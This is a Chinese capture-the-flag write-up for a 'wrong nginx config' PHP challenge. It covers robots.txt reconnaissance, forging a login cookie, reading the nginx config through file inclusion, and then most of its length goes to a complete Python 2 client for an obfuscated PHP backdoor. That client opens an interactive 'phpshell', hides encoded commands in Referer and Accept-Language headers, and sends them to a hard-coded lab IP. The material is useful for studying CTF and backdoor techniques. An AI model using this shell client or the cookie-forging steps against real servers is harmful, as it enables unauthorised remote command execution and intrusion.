web php wrong nginx config

时间:2020-07-28 14:25:48   收藏:0   阅读:100

web php wrong nginx config

题目描述

解题过程

信息收集

robots.txt

技术图片

里面放了两个文件名hint.phpHack.php

依次访问

hint.php

内容为

配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

Hack.php

无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0

在浏览器console里修改为isLogin=1,成功访问

技术图片

尝试了一遍,发现只有管理中心链接可以跳转

/admin/admin.php

技术图片

应该是文件包含

有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

/etc/nginx/sites-enabled/site.conf

/web-img

exp

= = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)

# encoding: utf-8


from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print ‘Error Input‘
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result


def randBytesFlow(amount):
    result = ‘‘
    for i in xrange(amount):
        result += chr(randint(0, 255))
    return result


def randAlpha(amount):
    result = ‘‘
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result


def loopXor(text, key):
    result = ‘‘
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg


# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = ‘http://220.249.52.133:43560/hack.php‘
defaultLang = ‘zh-CN‘
languages = [‘zh-TW;q=0.%d‘, ‘zh-HK;q=0.%d‘, ‘en-US;q=0.%d‘, ‘en;q=0.%d‘]
proxies = None  # {‘http‘:‘http://127.0.0.1:8080‘} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ‘,‘.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint(‘$i is %s‘ % (init2Char))
debugPrint(‘md5 head: %s‘ % (md5head,))
debugPrint(‘md5 tail: %s‘ % (md5tail,))

# Interactive php shell
cmd = raw_input(‘phpshell > ‘)
while cmd != ‘‘:
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint(‘Before insert payload:‘)
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + ‘?‘ + urllib.urlencode(query)
    debugPrint(‘After insert payload, referer is:‘)
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url, headers={‘Accept-Language‘: acceptLangStr, ‘Referer‘: referer}, proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r‘<%s>(.*)</%s>‘ % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print ‘Error,  no backdoor response‘
        cmd = raw_input(‘phpshell > ‘)
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode(‘base64‘)
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input(‘phpshell > ‘)

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!